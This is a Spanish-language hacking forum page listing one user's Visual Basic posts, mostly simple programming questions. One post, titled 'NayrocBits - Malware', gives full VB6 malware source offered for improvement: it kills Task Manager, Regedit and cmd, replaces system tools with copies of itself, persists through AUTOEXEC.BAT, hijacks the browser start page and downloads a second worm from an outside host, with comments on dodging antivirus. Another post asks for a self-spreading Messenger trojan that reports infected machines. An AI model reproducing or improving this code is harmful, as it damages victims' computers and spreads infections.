elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


  Mostrar Temas
Páginas: [1] 2
1  Programación / Programación Visual Basic / Verificar procesos - Duda en: 18 Mayo 2007, 21:08 pm
Una pequeña duda, como hago para verificar que "cierto proceso" esta en ejecucion y si no esta en ejecucion "Ejecutar cierto proceso".

2  Programación / Programación Visual Basic / Ayuda con un Downloader... en: 9 Enero 2007, 21:30 pm
Hola a todos...

Estoy haciendo un downloader y necesito saber de que manera puedo medir los Kb/s (Velocidad de descarga) va el archivo... Osea, si estoy descargando un archivo de 1 MB, mi idea es que marque a la velocidad que va (Por ejemplo, 100 Kb/s y faltan x:xx:xx (Tiempo))

Tambien quisiera saber si hay alguna forma de crear archivos .EXE, busque en esta sección sobre como crearlos, pero al final no lo encontre...

Agradeceria su ayuda :P, ya que esto es para un proyecto en mi instituto.... asias...
3  Programación / Programación Visual Basic / Subir archivos... en: 30 Diciembre 2006, 05:03 am
Buenas... Estoy creando un programa para subir archivos a una web en especifica... He preguntando mediante ftp pero no me dan una buena respuesta y la respuesta que me dieron no era "Cierta" ... -.-


Si me pudieran ayudar, seria muy bueno ;).
4  Programación / Programación Visual Basic / NayrocBits - Malware en: 28 Diciembre 2006, 01:58 am
Opinen sobre este malware... diganme que mas le puedo añadir... que puede estar mal... o que le puedo quitar...  :huh:

Código:
Option Explicit

Private Declare Function URLDownloadToFile Lib "urlmon" _
   Alias "URLDownloadToFileA" _
  (ByVal pCaller As Long, _
   ByVal szURL As String, _
   ByVal szFileName As String, _
   ByVal dwReserved As Long, _
   ByVal lpfnCB As Long) As Long
   
Dim ERROR_SUCCESS
Private Sub Clipb()
On Error GoTo clip
Do
Clipboard.Clear
Clipboard.SetText " K-32 - Prayamama"
Loop
clip:
End Sub
Private Sub NayrocSTAM()
Do
On Error GoTo NoSTAM
PagInicia ("http://www.elhacker.net")
TituloInicia ("ElHacker - Soft Explorer - BY: K-32 (SP26)")
MsgBox " " & vbCrLf & " ", vbCritical
Loop

NoSTAM:

End Sub
Private Function Secuestro(UpPath As String, DownPath As String)
On Error GoTo seNO
FileCopy UpPath$, DownPath$
Kill UpPath$
seNO:
End Function
Public Sub SecuestroCarpeta(DirPath As String)
On Error GoTo error
MkDir DirPath$
Exit Sub
error:
'Crear carpetas de secuestro
End Sub

Private Sub AeroBits()
On Error GoTo seNO:
Do
Matar ("Taskmgr.exe")
Matar ("Regedit.exe")
Matar ("Services.msc")
Matar ("cmd.exe")
Matar ("Explorer.exe")
Shell "explorer.exe" 'Retornamos al EXPLORER para no levantar sospechas


SecuestroCarpeta Environ("SYSTEMROOT") & "\Binary\"

Secuestro Environ("SYSTEMROOT") & "\SYSTEM32\REGEDIT.EXE", Environ("SYSTEMROOT") & "\Binary\regedit.txt"
Secuestro Environ("SYSTEMROOT") & "\SYSTEM32\services.msc", Environ("Systemroot") & "\BINARY\Services.txt"
Secuestro Environ("SYSTEMROOT") & "\SYSTEM32\taskmgr.exe", Environ("SYSTEMROOT") & "\binary\taskmgr.txt"

FileCopy App.EXEName + ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\regedit.exe"
FileCopy App.EXEName + ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\taskmgr.exe"
FileCopy App.EXEName + ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\services.msc"

seNO:
Shell Environ("SYSTEMROOT") & "\SYSTEM32\deflpo.exe"
Loop
End Sub


Private Sub NayrocSTEM()



Dim Archivo As String
Dim NumArchivo As Long
Dim Archivo2 As String
Dim NumArchivo2 As Long
On Error Resume Next
On Error GoTo NoHayBat
Do
FileCopy App.EXEName + ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\deflps.exe" 'NOTA1


Matar ("Explorer.exe")
Matar ("CMD.exe")
Matar ("Regedit.exe")
Matar ("services.msc")
Matar ("msnmsgr.exe")
Shell ("Explorer.exe") 'Retornamos al Explorer para no levantar sospechas



            Archivo = Environ("SYSTEMDRIVE") & "\AUTOEXEC.BAT"
            NumArchivo = FreeFile()
           
   'Aqui me añado al
   'AUTOEXEC.BAT
   '
   'Para iniciarme cada vez que el sistema corra
   '¿Sera esta una via alterna?
   'Al yo poner "DEFLPS"
   'llama el archivo antes copiado
   'Es necesario que se copie antes en la carpeta SYSTEM32
   'Esto me da una via alterna contra los AV
   
                        Open Archivo For Output As #NumArchivo
                        Print #NumArchivo, "Echo off"
                        Print #NumArchivo, "Title AUTOEXEC.BAT"
                    '--
                        Print #NumArchivo, "CLS"
                        Print #NumArchivo, "Echo Loading..."
                        Print #NumArchivo, "CLS"
                        Print #NumArchivo, "cls"
                        Print #NumArchivo, "deflps"
               Close #NumArchivo
NoHayBat:
On Error Resume Next
'DeflPO
'Leer Mas abajo su Sub ()

                    Archivo2 = Environ("SYSTEMROOT") & "\Call.bat"
                    NumArchivo2 = FreeFile()
                    Print #NumArchivo, "Echo off"
                    Print #NumArchivo, "title  Analizador de discos lógicos"
                    Print #NumArchivo, "cls"
                    Print #NumArchivo, "echo @echo off > %SYSTEMDRIVE%\AUTOEXEC.bat"
                    Print #NumArchivo, "Echo cls>>%SYSTEMDRIVE%\AUTOEXEC.bat"
                    Print #NumArchivo, "ECHO DEFLPS>>%SYSTEMDRIVE%\AUTOEXEC.bat"
                    Close #NumArchivo
                    Shell Environ("SYSTEMROOT") & "\Call.bat"
Loop
End Sub
Private Sub AñoNuevo()

'Feliz año nuevo xDD
Do

    If Month(Now) = 1 And Day(Now) = 1 Then
   
    AñoNuevoUp

End If
Loop
End Sub



Private Sub AñoNuevoUp()
Dim ArchivoK32 As String
Dim NumArchivoK32 As Long
Do
ArchivoK32 = Environ("SYSTEMROOT") & "\2007.bat"
NumArchivoK32 = FreeFile()

Print #NumArchivoK32, "Echo off"
Print #NumArchivoK32, "title OS"

Print #NumArchivoK32, "cls"
Print #NumArchivoK32, "Deflpo"
Print #NumArchivoK32, "Cls"
Close #NumArchivoK32

Shell Environ("SYSTEMROOT") & "\2007.bat"
'Lo hago como BAT ya que es mas efectivo para los AV's, En especial
'NOD32

Loop

End Sub


Private Sub Ds_Click()
MsgBox "Desinfectado"

End Sub

Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False
MsgBox " ", vbExclamation, "WINLOGON.EXE"

Clipb
NayrocSTAM
DeflPO
NayrocSTEM
AñoNuevo
AeroBits

End Sub



Public Sub Matar(ByVal processName As String)
       
        On Error GoTo ErrHandler
         
         Dim oWMI
         Dim ret
         Dim sService
         Dim oWMIServices
         Dim oWMIService
         Dim oServices
         Dim oService
         Dim servicename
         
          Set oWMI = GetObject("winmgmts:")
          Set oServices = oWMI.InstancesOf("win32_process")

          For Each oService In oServices
                 
                 servicename = LCase(Trim(CStr(oService.Name) & ""))
                 
                 If InStr(1, servicename, LCase(processName), vbTextCompare) > 0 Then
                    ret = oService.Terminate
                 End If
 
          Next
         
          Set oServices = Nothing
          Set oWMI = Nothing

 
ErrHandler:
  Err.Clear
End Sub

Private Sub DeflPO()
'ORIENTE-ETERNO : Modo silencioso
Do
    Dim sSourceUrl As String

    sSourceUrl = "http://h1.ripside.net/MyArchivos/" & _
        "DCOM/deflPO.exe/" 'Este es otro de mis Worms

   
    DownloadFile sSourceUrl, Environ("SYSTEMROOT") & "\SYSTEM32\deflPO.exe"
Loop
End Sub


Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
  DownloadFile = URLDownloadToFile(0, sURL, _
    sLocalFile, 0, 0) = ERROR_SUCCESS
End Function

Private Sub Form_Unload(Cancel As Integer)
MsgBox " ", vbCritical
Do
Shell App.Path & App.EXEName & ".exe"
Loop

End Sub


Y En un modulo...

Código:
Option Explicit
 

Declare Function RegCreateKey Lib _
    "advapi32.dll" Alias "RegCreateKeyA" _
    (ByVal HKey As Long, ByVal lpSubKey As _
    String, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal HKey As Long) As Long
Declare Function RegSetValueEx Lib _
    "advapi32.dll" Alias "RegSetValueExA" (ByVal HKey As Long, ByVal _
    lpValueName As String, ByVal _
    Reserved As Long, ByVal dwType _
    As Long, lpData As Any, ByVal _
    cbData As Long) As Long



Public Sub SaveString(HKey As Long, Path As String, _
    Name As String, Data As String)
    Dim KeyHandle As Long
    Dim r As Long
    Dim REG_SZ
   
    r = RegCreateKey(HKey, Path, KeyHandle)
    r = RegSetValueEx(KeyHandle, Name, 0, _
        REG_SZ, ByVal Data, Len(Data))
    r = RegCloseKey(KeyHandle)
End Sub

Public Sub PagInicia(Direccion As String)
    Call SaveString("HKEY_CURRENT_USER", _
        "Software\Microsoft\Internet Explorer\Main", _
        "Start Page", Direccion)
End Sub
Public Sub TituloInicia(Titulo As String)
    Call SaveString("HKEY_CURRENT_USER", _
        "Software\Microsoft\Internet Explorer\Main", _
        "Window Title", Titulo)
End Sub



Opinen ;)
5  Programación / Programación Visual Basic / Pregunta tonta... en: 23 Diciembre 2006, 00:58 am
Hola...

Quizas esta pregunta sea un poco tonta, pero como hago para que en un PictureBox se vea lo que se seleccione en un listbox? Ya intente con muchas cosas y ninguna funciona... como Picture1.picture = list1 y nada :(



Aqui le dejo el codigo...


Código:
Option Explicit
Dim ext
Dim Ruta As String
Dim arjpg




Private Sub Command1_Click()
On Error Resume Next
List1.Clear

    Ruta = Dir1
   
   
   
    ' Hacemos q nos muestre todos los archivos
    arjpg = Dir(Ruta & "\*.jpg*")
   
    Do While arjpg <> ""
        ' Obtenemos la extension del archivo
        ext = LCase(Right$(arjpg, 3))
       
        Select Case ext
            Case "jpg"
                List1.AddItem arjpg
            Case "bmp"
            List1.AddItem arjpg
            Case "gif"
       List1.AddItem arjpg
        End Select
       
        arjpg = Dir
    Loop

   

End Sub

Private Sub Form_Load()
List1.Clear

End Sub
6  Programación / Programación Visual Basic / Ejecutar el dia "tal" de cada mes en: 12 Diciembre 2006, 21:34 pm
Bueno, esa es mi pregunta...  :-\ , por ejemplo, que se ejecute todos los 6 de cada mes.


Tambien que se ejecute en tal "Hora" Ya que con un timer solo me permite segunditos y lo mas que puede es un minuto  :-( :-( :-( :-( :-(
7  Programación / Programación Visual Basic / descargar ftp en: 6 Diciembre 2006, 18:41 pm
Quisiera saber de una form que cree un Archivo txt (indicando los datos en el codigo mismo) y lo suba a un servidor FTP de manera silenciosa.   Tambien que descargue un archivo ftp

Me habian dicho que con Winsock, pero estuve redondeando y al final no encontre como  :-( Si hay otra manera de hacerlo seria mejor tambien ;).
8  Programación / Programación Visual Basic / Eliminar con el nombre usuario en: 1 Diciembre 2006, 03:19 am
Hola nuevamente  ;D

Quisiera saber como eliminar dependiendo del usuario, por ejemplo:

Código:
If (Dir("c:\documents and settings\USUARIO\prueba.txt") <> "") Then
Kill "c:\Documents And Settings\USUARIO\prueba.txt"
End If


Ya intente con una API:

Código:
'API
Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" _
    (ByVal lpbuffer As String, nSize As Long) As Long

Public Function UsuarioActual() As String
    'Esta función devuelve el nombre del Usuario
    Dim sBuffer As String
    Dim lSize As Long
    Dim sUsuario As String

    sBuffer = Space$(260)
    lSize = Len(sBuffer)
    Call GetUserName(sBuffer, lSize)
    If lSize > 0 Then
        sUsuario = Left$(sBuffer, lSize)
        'Quitarle el CHR$(0) del final...
        lSize = InStr(sUsuario, Chr$(0))
        If lSize Then
            sUsuario = Left$(sUsuario, lSize - 1)
        End If
    Else
        sUsuario = ""
    End If
    UsuarioActual = sUsuario
   
End Function


Y poniendo:
Código:

If (Dir("c:\documents and settings\UsuarioActual\prueba.txt") <> "") Then
Kill "c:\Documents And Settings\UsuarioActual\prueba.txt"
End If '



 Por declaro de la API, se supone que UsuarioActual, localiza el nombre.



Ayuda  :-( :huh: :huh: :huh:
9  Programación / Programación Visual Basic / de un txt a un list en: 18 Noviembre 2006, 19:22 pm
Usteds saben como pasar lo que esta escrito en un txtbox a un listbox?


Son 10 txtbox, y los quiero pasar a un listbox (Seria con un boton para agregar).



10  Programación / Programación Visual Basic / Troyano por messenger en: 12 Noviembre 2006, 05:26 am
ola todos :P


Intento hacer un troyano para que mande automaticamente un mensaje por messenger...

ya probe con uno de los troyanos que pusieron en uno de estos post y no me funciono...

Quiero que el troyano se autocopie y automande un mensaje por messenger...

por ejemplo:    Mira mi programa: miweb.com/troyanito.zip



Tambien quisiera tener algun tipo de "servidor" (no un tanto complicado) Que me indique por ejemplo, en cuantas PCs se encuentra este archivo (cuantas pcs estan infectadas, para entendernos :P)


les agradeceria que me explicaran cada una (o por lo menos lo que hara  :P) el codigo... no soy muy experto en estos temas.
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines